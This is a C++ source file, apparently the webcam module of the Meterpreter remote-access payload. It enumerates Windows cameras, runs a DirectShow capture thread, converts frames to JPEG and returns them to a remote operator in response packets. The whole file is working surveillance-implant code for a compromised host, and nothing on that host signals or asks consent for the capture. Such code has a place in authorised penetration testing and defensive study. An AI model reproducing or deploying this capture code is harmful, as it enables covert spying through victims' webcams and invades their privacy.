/*! * @file webcam.cpp * @brief Contains webcam interaction function definitions. * @todo Add a function which allows for the webcam snap functionality to be done in * a single call instead of three separate calls resulting in a whole new thread * being created and managed. The new function should reuse the thread if it exists * but not bother with a new thread if it doesn't. * @remark This software is based on Touchless, which is released under MS-PL. */ #ifdef CINTERFACE #undef CINTERFACE #endif #define WIN32_LEAN_AND_MEAN #include <windows.h> #include <dshow.h> extern "C" { #include "common.h" #include "webcam.h" #include "bmp2jpeg.h" #include "common_metapi.h" } //Required interface stuff - bad hack for qedit.h not being present/compatible with later windows versions /*! * @brief Forward declaration of required \c ISampleGrabberCB interface. */ interface ISampleGrabberCB : public IUnknown { virtual STDMETHODIMP SampleCB( double SampleTime, IMediaSample *pSample ) = 0; virtual STDMETHODIMP BufferCB( double SampleTime, BYTE *pBuffer, long BufferLen ) = 0; }; static const IID IID_ISampleGrabberCB = { 0x0579154A, 0x2B53, 0x4994, { 0xB0, 0xD0, 0xE7, 0x73, 0x14, 0x8E, 0xFF, 0x85 } }; /*! * @brief Forward declaration of required \c ISampleGrabber interface. */ interface ISampleGrabber : public IUnknown { virtual HRESULT STDMETHODCALLTYPE SetOneShot( BOOL OneShot ) = 0; virtual HRESULT STDMETHODCALLTYPE SetMediaType( const AM_MEDIA_TYPE *pType ) = 0; virtual HRESULT STDMETHODCALLTYPE GetConnectedMediaType( AM_MEDIA_TYPE *pType ) = 0; virtual HRESULT STDMETHODCALLTYPE SetBufferSamples( BOOL BufferThem ) = 0; virtual HRESULT STDMETHODCALLTYPE GetCurrentBuffer( long *pBufferSize, long *pBuffer ) = 0; virtual HRESULT STDMETHODCALLTYPE GetCurrentSample( IMediaSample **ppSample ) = 0; virtual HRESULT STDMETHODCALLTYPE SetCallback( ISampleGrabberCB *pCallback, long WhichMethodToCallback ) = 0; }; static const IID IID_ISampleGrabber = { 0x6B652FFF, 0x11FE, 0x4fce, { 0x92, 0xAD, 0x02, 0x66, 0xB5, 0xD7, 0xC7, 0x8F } }; static const CLSID CLSID_SampleGrabber = { 0xC1F400A0, 0x3F08, 0x11d3, { 0x9F, 0x0B, 0x00, 0x60, 0x08, 0x03, 0x9E, 0x37 } }; static const CLSID CLSID_NullRenderer = { 0xC1F400A4, 0x3F08, 0x11d3, { 0x9F, 0x0B, 0x00, 0x60, 0x08, 0x03, 0x9E, 0x37 } }; /*! @brief Handle used for synchronisation with the main webcam grabber thread. */ HANDLE writeEvent; /*! @brief Width of the captured frame. */ int nWidth; /*! @brief Height of the captured frame. */ int nHeight; /*! @brief Define a reasonable number of slots for cameras. */ #define MAX_CAMERAS 10 PBYTE imgdata = NULL; long imgsize = 0; UINT bmpsize = 0; PBYTE bmpdata = NULL; DWORD jpgsize = 0; PBYTE jpgarray = NULL; //shouldn't be bigger, right? /*! @brief SampleGrabber callback interface implementation. */ class MySampleGrabberCB : public ISampleGrabberCB { public: MySampleGrabberCB() { m_nRefCount = 0; } virtual HRESULT STDMETHODCALLTYPE SampleCB( double SampleTime, IMediaSample *pSample) { return E_FAIL; } virtual HRESULT STDMETHODCALLTYPE BufferCB( double SampleTime, BYTE *pBuffer, long BufferLen) { if (imgdata == NULL || imgsize < BufferLen) { imgsize = BufferLen; if (imgdata != NULL) free(imgdata); imgdata = (PBYTE)malloc(imgsize); } memcpy(imgdata, pBuffer, imgsize); SetEvent(writeEvent); //Notify of new frame return S_OK; } virtual HRESULT STDMETHODCALLTYPE QueryInterface( REFIID riid, void **ppvObject) { return E_FAIL; // Not a very accurate implementation } virtual ULONG STDMETHODCALLTYPE AddRef() { return ++m_nRefCount; } virtual ULONG STDMETHODCALLTYPE Release() { int n = --m_nRefCount; if (n <= 0) delete this; return n; } private: int m_nRefCount; }; /*! @brief Valid actions that can be invoked on the webcam control thread. */ typedef enum { StopCamera = 1, ///< Tell the webcam control thread to terminate. GetCameraFrame = 2 ///< Tell the webcam control thread to capture a frame. } WebcamAction; /*! @brief State structure which is used for C&C of the webcam control thread. */ typedef struct _WebcamThreadState { EVENT* pCallEvent; ///< Event used to make a call on the thread. EVENT* pResultEvent; ///< Event used to pause the thread. UINT index; ///< Index of the camera to used. BOOL bRunning; ///< Indicates if the control thread is running. DWORD dwResult; ///< Result of control thread processing. WebcamAction controlAction; ///< Action to perform on the control thread. UINT frameQuality; ///< Quality setting for frame capture. IGraphBuilder* pGraphBuilder; ///< COM-based graph builder. IMediaControl* pMediaControl; ///< COM-based media control. ICaptureGraphBuilder2* pCaptureGraphBuilder; ///< COM-based graph capture pointer. IBaseFilter* pIBaseFilterCam; ///< COM-based camera filter. IBaseFilter* pIBaseFilterSampleGrabber; ///< COM-based grabber. IBaseFilter* pIBaseFilterNullRenderer; ///< COM-based NULL renderer. Packet* pResponse; ///< Response packet to write the result to. } WebcamThreadState; /*! @brief Reference to the thread state in use by the control thread. */ WebcamThreadState* g_pThreadState = NULL; /*! @brief Reference to the control thread. */ THREAD* g_pWorkerThread = NULL; /*! * @brief Start a webcam recording. * @param state Pointer to the \c WebcamThreadState which contains startup information. * @returns Indication of success or failure. * @retval ERROR_SUCCESS Starting the webcam succeeded. */ DWORD webcam_start(WebcamThreadState* state) { HRESULT hr; DWORD dwResult = ERROR_SUCCESS; do { IEnumMoniker* pclassEnum = NULL; ICreateDevEnum* pdevEnum = NULL; if (state->index < 1) { BREAK_WITH_ERROR("[WEBCAM] No webcams found", ERROR_FILE_NOT_FOUND); } CoInitialize(NULL); hr = CoCreateInstance(CLSID_SystemDeviceEnum, NULL, CLSCTX_INPROC, IID_ICreateDevEnum, (LPVOID*)&pdevEnum); if (FAILED(hr)) { BREAK_WITH_ERROR("[WEBCAM] No webcams found", hr); } hr = pdevEnum->CreateClassEnumerator(CLSID_VideoInputDeviceCategory, &pclassEnum, 0); if (pdevEnum != NULL){ pdevEnum->Release(); pdevEnum = NULL; } UINT nCount = 0; IUnknown* pUnk = NULL; if (pclassEnum == NULL) { BREAK_WITH_ERROR("[WEBCAM] No webcams found", ERROR_FILE_NOT_FOUND); } IMoniker* apIMoniker[1]; ULONG ulCount = 0; while (SUCCEEDED(hr) && nCount < state->index && pclassEnum->Next(1, apIMoniker, &ulCount) == S_OK) { pUnk = apIMoniker[0]; nCount++; } pclassEnum->Release(); if (pUnk == NULL) { BREAK_WITH_ERROR("[WEBCAM] No webcams found", ERROR_FILE_NOT_FOUND); } IMoniker *pMoniker = NULL; // Grab the moniker interface hr = pUnk->QueryInterface(IID_IMoniker, (LPVOID*)&pMoniker); if (FAILED(hr)) { BREAK_WITH_ERROR("[WEBCAM] Query interface failed", hr); } dprintf("[WEBCAM] Creating state->pGraphBuilder"); // Build all the necessary interfaces to start the capture hr = CoCreateInstance(CLSID_FilterGraph, NULL, CLSCTX_INPROC, IID_IGraphBuilder, (LPVOID*)&state->pGraphBuilder); if (FAILED(hr)) { BREAK_WITH_ERROR("[WEBCAM] Filter graph creation failed", hr); } dprintf("[WEBCAM] Created state->pGraphBuilder (%p).", state->pGraphBuilder); hr = state->pGraphBuilder->QueryInterface(IID_IMediaControl, (LPVOID*)&state->pMediaControl); if (FAILED(hr)) { BREAK_WITH_ERROR("[WEBCAM] Query interface failed", hr); } hr = CoCreateInstance(CLSID_CaptureGraphBuilder2, NULL, CLSCTX_INPROC, IID_ICaptureGraphBuilder2, (LPVOID*)&state->pCaptureGraphBuilder); if (FAILED(hr)) { BREAK_WITH_ERROR("[WEBCAM] Capture Graph Builder failed", hr); } // Setup the filter graph hr = state->pCaptureGraphBuilder->SetFiltergraph(state->pGraphBuilder); if (FAILED(hr)) { BREAK_WITH_ERROR("[WEBCAM] Set filter graph failed", hr); } // Build the camera from the moniker hr = pMoniker->BindToObject(NULL, NULL, IID_IBaseFilter, (LPVOID*)&state->pIBaseFilterCam); if (FAILED(hr)) { BREAK_WITH_ERROR("[WEBCAM] Bind to object failed", hr); } // Add the camera to the filter graph hr = state->pGraphBuilder->AddFilter(state->pIBaseFilterCam, L"WebCam"); if (FAILED(hr)) { BREAK_WITH_ERROR("[WEBCAM] Add filter failed", hr); } // Create a SampleGrabber hr = CoCreateInstance(CLSID_SampleGrabber, NULL, CLSCTX_INPROC_SERVER, IID_IBaseFilter, (void**)&state->pIBaseFilterSampleGrabber); if (FAILED(hr)) { BREAK_WITH_ERROR("[WEBCAM] Create sample grabber failed", hr); } // Configure the Sample Grabber ISampleGrabber *pGrabber = NULL; hr = state->pIBaseFilterSampleGrabber->QueryInterface(IID_ISampleGrabber, (void**)&pGrabber); if (SUCCEEDED(hr)) { AM_MEDIA_TYPE mt; ZeroMemory(&mt, sizeof(AM_MEDIA_TYPE)); mt.majortype = MEDIATYPE_Video; mt.subtype = MEDIASUBTYPE_RGB24; mt.formattype = FORMAT_VideoInfo; hr = pGrabber->SetMediaType(&mt); } if (SUCCEEDED(hr)) { MySampleGrabberCB* msg = new MySampleGrabberCB(); hr = pGrabber->SetCallback(msg, 1); } if (pGrabber != NULL) { pGrabber->Release(); pGrabber = NULL; } if (FAILED(hr)) { BREAK_WITH_ERROR("[WEBCAM] Sample grabber instantiation failed", hr); } // Add Sample Grabber to the filter graph hr = state->pGraphBuilder->AddFilter(state->pIBaseFilterSampleGrabber, L"SampleGrabber"); if (FAILED(hr)) { BREAK_WITH_ERROR("[WEBCAM] Add Sample Grabber to the filter graph failed", hr); } // Create the NullRender hr = CoCreateInstance(CLSID_NullRenderer, NULL, CLSCTX_INPROC_SERVER, IID_IBaseFilter, (void**)&state->pIBaseFilterNullRenderer); if (FAILED(hr)) { BREAK_WITH_ERROR("[WEBCAM] Create the NullRender failed", hr); } // Add the Null Render to the filter graph hr = state->pGraphBuilder->AddFilter(state->pIBaseFilterNullRenderer, L"NullRenderer"); if (FAILED(hr)) { BREAK_WITH_ERROR("[WEBCAM] Add the Null Render to the filter graph failed", hr); } // Configure the render stream hr = state->pCaptureGraphBuilder->RenderStream(&PIN_CATEGORY_CAPTURE, &MEDIATYPE_Video, state->pIBaseFilterCam, state->pIBaseFilterSampleGrabber, state->pIBaseFilterNullRenderer); if (FAILED(hr)) { BREAK_WITH_ERROR("[WEBCAM] Configure the render stream failed", hr); } // Grab the capture width and height hr = state->pIBaseFilterSampleGrabber->QueryInterface(IID_ISampleGrabber, (LPVOID*)&pGrabber); if (FAILED(hr)) { BREAK_WITH_ERROR("[WEBCAM] Querying interface failed", hr); } AM_MEDIA_TYPE mt; hr = pGrabber->GetConnectedMediaType(&mt); if (FAILED(hr)) { BREAK_WITH_ERROR("[WEBCAM] GetConnectedMediaType failed", hr); } VIDEOINFOHEADER *pVih; if ((mt.formattype == FORMAT_VideoInfo) && (mt.cbFormat >= sizeof(VIDEOINFOHEADER)) && (mt.pbFormat != NULL)) { pVih = (VIDEOINFOHEADER*)mt.pbFormat; nWidth = pVih->bmiHeader.biWidth; nHeight = pVih->bmiHeader.biHeight; } else { BREAK_WITH_ERROR("[WEBCAM] Wrong format type", hr); } if (pGrabber != NULL) { pGrabber->Release(); pGrabber = NULL; } //Sync: set up semaphore writeEvent = CreateEvent( NULL, // default security attributes FALSE, // auto-reset event FALSE, // initial state is nonsignaled NULL); // no object name // Start the capture if (FAILED(hr)) { BREAK_WITH_ERROR("[WEBCAM] CreateEvent failed", hr); } hr = state->pMediaControl->Run(); if (FAILED(hr)) { BREAK_WITH_ERROR("[WEBCAM] Running capture failed", hr); } // Cleanup if (pMoniker != NULL) { pMoniker->Release(); pMoniker = NULL; } //Now we wait for first frame if (WaitForSingleObject(writeEvent, 30000) == WAIT_TIMEOUT) { BREAK_WITH_ERROR("[WEBCAM] timeout!", WAIT_TIMEOUT); } dwResult = GetLastError(); } while (0); return dwResult; } /*! * @brief Grab a frame from the currently running camera. * @param state Pointer to the \c WebcamThreadState which contains capture/quality information. * @returns Indication of success or failure. * @retval ERROR_SUCCESS Starting the webcam succeeded. * @remark The `frameQuality` member of `state` is assumed to be set. * @todo Convert this to GDI+ to avoid the jpg lib overhead. */ DWORD webcam_get_frame(WebcamThreadState* state) { DWORD dwResult = ERROR_SUCCESS; UINT quality = state->frameQuality; dprintf("[WEBCAM] Entry."); do { //Make bmp BITMAPFILEHEADER bfh; bfh.bfType = 0x4d42; // always "BM" bfh.bfSize = sizeof(BITMAPFILEHEADER); bfh.bfReserved1 = 0; bfh.bfReserved2 = 0; bfh.bfOffBits = (DWORD)(sizeof(bfh) + sizeof(BITMAPINFOHEADER)); BITMAPINFOHEADER bih; bih.biSize = sizeof(BITMAPINFOHEADER); bih.biWidth = nWidth; bih.biHeight = nHeight; bih.biPlanes = 1; bih.biBitCount = 24; bih.biCompression = BI_RGB; bih.biSizeImage = imgsize; bih.biXPelsPerMeter = 0; bih.biYPelsPerMeter = 0; bih.biClrUsed = 0; bih.biClrImportant = 0; UINT mybmpsize = imgsize + sizeof(bfh) + sizeof(bih); if (bmpsize < mybmpsize) { bmpsize = mybmpsize; if (bmpdata != NULL) delete[] bmpdata; bmpdata = new BYTE[bmpsize]; } // put headers together to make a .bmp in memory memcpy(bmpdata, &bfh, sizeof(bfh)); memcpy(bmpdata + sizeof(bfh), &bih, sizeof(bih)); memcpy(bmpdata + sizeof(bfh) + sizeof(bih), imgdata, imgsize); // Now convert to JPEG // TODO: rip this out and use GDI+ down the track bmp2jpeg(bmpdata, quality, &jpgarray, &jpgsize); //And send met_api->packet.add_tlv_raw(state->pResponse, TLV_TYPE_WEBCAM_IMAGE, jpgarray, jpgsize); } while (0); PBYTE tmparray = jpgarray; jpgsize = 0; jpgarray = NULL; free(tmparray); dprintf("[WEBCAM] Exit."); return dwResult; } /*! * @brief Callback for the webcam control thread. * @param thread Pointer to the \c THREAD information block for the thread. * @returns Indication of success or failure. * @retval ERROR_SUCCESS Operation completed as expected. * @remark This will run on a separate thread and manage the lifetime of the webcam and COM. */ DWORD THREADCALL webcam_control_thread(THREAD * thread) { DWORD dwResult; WebcamThreadState* state = (WebcamThreadState*)thread->parameter1; dprintf("[WEBCAM] Entry."); state->bRunning = TRUE; CoInitialize(NULL); do { dwResult = webcam_start(state); if (dwResult != ERROR_SUCCESS) break; // let the caller know that we've initialised state->dwResult = dwResult; met_api->event.signal(state->pResultEvent); do { dprintf("[WEBCAM] Thread now running, waiting for a signal"); // wait for the next call if (!met_api->event.poll(state->pCallEvent, -1)) { BREAK_WITH_ERROR("[WEBCAM] Failed to receive a signal from the caller", ERROR_TIMEOUT); } switch (state->controlAction) { case StopCamera: dprintf("[WEBCAM] StopCamera called."); dwResult = ERROR_SUCCESS; state->bRunning = FALSE; break; case GetCameraFrame: dprintf("[WEBCAM] GetCameraFrame called."); dwResult = webcam_get_frame(state); met_api->event.signal(state->pResultEvent); break; default: dprintf("[WEBCAM] Unexpected action %u", (DWORD)state->controlAction); state->bRunning = FALSE; dwResult = ERROR_UNKNOWN_FEATURE; break; } } while (state->bRunning); } while (0); if (state->pIBaseFilterNullRenderer != NULL) { dprintf("[WEBCAM] Releasing state->pIBaseFilterNullRenderer."); state->pIBaseFilterNullRenderer->Release(); state->pIBaseFilterNullRenderer = NULL; } if (state->pIBaseFilterSampleGrabber != NULL) { dprintf("[WEBCAM] Releasing state->pIBaseFilterSampleGrabber."); state->pIBaseFilterSampleGrabber->Release(); state->pIBaseFilterSampleGrabber = NULL; } if (state->pIBaseFilterCam != NULL) { dprintf("[WEBCAM] Releasing state->pIBaseFilterCam."); state->pIBaseFilterCam->Release(); state->pIBaseFilterCam = NULL; } if (state->pCaptureGraphBuilder != NULL) { dprintf("[WEBCAM] Releasing state->pCaptureGraphBuilder."); state->pCaptureGraphBuilder->Release(); state->pCaptureGraphBuilder = NULL; } if (state->pMediaControl != NULL) { dprintf("[WEBCAM] Stopping state->pMediaControl."); state->pMediaControl->Stop(); state->pMediaControl->Release(); state->pMediaControl = NULL; } if (state->pGraphBuilder != NULL) { dprintf("[WEBCAM] Releasing state->pGraphBuilder (%p).", state->pGraphBuilder); state->pGraphBuilder->Release(); state->pGraphBuilder = NULL; } CoUninitialize(); state->dwResult = dwResult; // signal that the thread is finishing met_api->event.signal(state->pResultEvent); dprintf("[WEBCAM] Exit."); return dwResult; } extern "C" { /*! * @brief Handle the request for a list of available webcams. * @param remote Pointer to the \c Remote making the request. * @param packet Pointer to the request \c Packet. * @returns Indication of success or failure. * @retval ERROR_SUCCESS Operation completed as expected. * @todo Make this use `packet_add_tlv_wstring` when it has been merged. */ DWORD request_webcam_list(Remote* remote, Packet* packet) { Packet* response = met_api->packet.create_response(packet); DWORD dwResult = ERROR_SUCCESS; do { IEnumMoniker* pclassEnum = NULL; ICreateDevEnum* pdevEnum = NULL; CoInitialize(NULL); HRESULT hr = CoCreateInstance(CLSID_SystemDeviceEnum, NULL, CLSCTX_INPROC, IID_ICreateDevEnum, (LPVOID*)&pdevEnum); if (SUCCEEDED(hr)) { hr = pdevEnum->CreateClassEnumerator(CLSID_VideoInputDeviceCategory, &pclassEnum, 0); } if (pdevEnum != NULL) { pdevEnum->Release(); pdevEnum = NULL; } int nCount = 0; if (pclassEnum == NULL) { break;// Error! } IMoniker* apIMoniker[1]; ULONG ulCount = 0; while (SUCCEEDED(hr) && nCount < MAX_CAMERAS && pclassEnum->Next(1, apIMoniker, &ulCount) == S_OK) { IPropertyBag* pPropBag; hr = apIMoniker[0]->BindToStorage(0, 0, IID_IPropertyBag, (void**)&pPropBag); if (SUCCEEDED(hr)) { // To retrieve the filter's friendly name, do the following: VARIANT varName; VariantInit(&varName); hr = pPropBag->Read(L"FriendlyName", &varName, 0); if (SUCCEEDED(hr) && varName.vt == VT_BSTR) { //TODO: make this use the new `packet_add_tlv_wstring` when it has been merged. //get chars from wchars size_t converted; char charbuf[512]; wcstombs_s(&converted, charbuf, sizeof(charbuf), varName.bstrVal, sizeof(charbuf)); met_api->packet.add_tlv_string(response, TLV_TYPE_WEBCAM_NAME, charbuf); } VariantClear(&varName); pPropBag->Release(); nCount++; } } pclassEnum->Release(); } while (0); dwResult = GetLastError(); met_api->packet.transmit_response(dwResult, remote, response); CoUninitialize(); return dwResult; } /*! * @brief Handle the request to start a given webcam. * @param remote Pointer to the \c Remote making the request. * @param packet Pointer to the request \c Packet. * @returns Indication of success or failure. * @retval ERROR_SUCCESS Operation completed as expected. * @remark This will start a webcam controller thread. From there the * lifetime of the webcam is managed. * @sa webcam_control_thread */ DWORD request_webcam_start(Remote* remote, Packet* packet) { Packet* response = met_api->packet.create_response(packet); DWORD dwResult = ERROR_SUCCESS; UINT index = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_WEBCAM_INTERFACE_ID); dprintf("[WEBCAM] Entry."); do { // If we have a thread running, then this means the webcam capture is already running too. if (g_pWorkerThread != NULL) { BREAK_WITH_ERROR("[WEBCAM] Already running!", ERROR_SERVICE_ALREADY_RUNNING); } g_pThreadState = (WebcamThreadState*)malloc(sizeof(WebcamThreadState)); if (g_pThreadState == NULL) { BREAK_WITH_ERROR("[WEBCAM] Out of memory", ERROR_OUTOFMEMORY); } ZeroMemory(g_pThreadState, sizeof(WebcamThreadState)); // create a wait event and indicate we're expecting a response from the call g_pThreadState->pCallEvent = met_api->event.create(); g_pThreadState->pResultEvent = met_api->event.create(); g_pThreadState->index = index; // kick off the worker thread that will do all the cam handling on one thread to avoid // cross-threaded COM problems. g_pWorkerThread = met_api->thread.create(webcam_control_thread, g_pThreadState, NULL, NULL); if (g_pWorkerThread == NULL) { BREAK_WITH_ERROR("[WEBCAM] Failed to create thread.", ERROR_THREAD_1_INACTIVE); } if (met_api->thread.run(g_pWorkerThread) == FALSE) { BREAK_WITH_ERROR("[WEBCAM] Failed to run worker thread", ERROR_CAN_NOT_COMPLETE); } // now wait for a signal to say that we've got things running if (met_api->event.poll(g_pThreadState->pResultEvent, 4000) == FALSE) { BREAK_WITH_ERROR("[WEBCAM] Failed to initialise worker thread", ERROR_WAIT_1); } dprintf("[WEBCAM] Webcam thread has been initialised"); dwResult = g_pThreadState->dwResult; } while (0); met_api->packet.transmit_response(dwResult, remote, response); if (dwResult != ERROR_SUCCESS) { dprintf("[WEBCAM] Failure found, cleaning up"); if (g_pWorkerThread != NULL) { if (g_pThreadState != NULL) { if (g_pThreadState->bRunning) { met_api->thread.kill(g_pWorkerThread); } met_api->thread.destroy(g_pWorkerThread); g_pWorkerThread = NULL; if (g_pThreadState->pCallEvent != NULL) { met_api->event.destroy(g_pThreadState->pCallEvent); } if (g_pThreadState->pResultEvent != NULL) { met_api->event.destroy(g_pThreadState->pResultEvent); } free(g_pThreadState); g_pThreadState = NULL; } } } dprintf("[WEBCAM] Exit."); return dwResult; } /*! * @brief Handle the request to grab a frame from the running webcam. * @param remote Pointer to the \c Remote making the request. * @param packet Pointer to the request \c Packet. * @returns Indication of success or failure. * @retval ERROR_SUCCESS Operation completed as expected. * @remark This will interact with the control thread to grab a frame * from the current running camera. * @sa webcam_control_thread */ DWORD request_webcam_get_frame(Remote* remote, Packet* packet) { Packet* response = met_api->packet.create_response(packet); UINT quality = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_WEBCAM_QUALITY); DWORD dwResult = ERROR_SUCCESS; dprintf("[WEBCAM] Entry."); do { if (g_pWorkerThread == NULL) { BREAK_WITH_ERROR("[WEBCAM] Webcam is not running", ERROR_NOT_READY); } // set up the thread call g_pThreadState->pResponse = response; g_pThreadState->frameQuality = quality; g_pThreadState->controlAction = GetCameraFrame; // invoke and wait met_api->event.signal(g_pThreadState->pCallEvent); if (met_api->event.poll(g_pThreadState->pResultEvent, 5000) == FALSE) { BREAK_WITH_ERROR("[WEBCAM] Failed to receive result in time", ERROR_WAIT_1); } // the handler thread should have added data to the packet to return to the caller, so off we go! dwResult = g_pThreadState->dwResult; } while (0); met_api->packet.transmit_response(dwResult, remote, response); dprintf("[WEBCAM] Exit."); return dwResult; } /*! * @brief Handle the request to stop the webcam. * @param remote Pointer to the \c Remote making the request. * @param packet Pointer to the request \c Packet. * @returns Indication of success or failure. * @retval ERROR_SUCCESS Operation completed as expected. * @remark This will interact with the control thread and tell it * to terminate after turning off the camera. * @sa webcam_control_thread */ DWORD request_webcam_stop(Remote* remote, Packet* packet) { Packet* response = met_api->packet.create_response(packet); DWORD dwResult = ERROR_SUCCESS; dprintf("[WEBCAM] Entry."); do { if (g_pWorkerThread == NULL) { BREAK_WITH_ERROR("[WEBCAM] Webcam is not running", ERROR_NOT_READY); } // set up the thread call g_pThreadState->controlAction = StopCamera; // invoke and wait met_api->event.signal(g_pThreadState->pCallEvent); if (met_api->event.poll(g_pThreadState->pResultEvent, 5000) == FALSE) { BREAK_WITH_ERROR("[WEBCAM] Failed to receive result in time", ERROR_WAIT_1); } // the handler thread should have added data to the packet to return to the caller, so off we go! dwResult = g_pThreadState->dwResult; } while (0); met_api->packet.transmit_response(dwResult, remote, response); met_api->event.destroy(g_pThreadState->pCallEvent); met_api->event.destroy(g_pThreadState->pResultEvent); free(g_pThreadState); g_pThreadState = NULL; met_api->thread.destroy(g_pWorkerThread); g_pWorkerThread = NULL; dprintf("[WEBCAM] Exit."); return dwResult; } }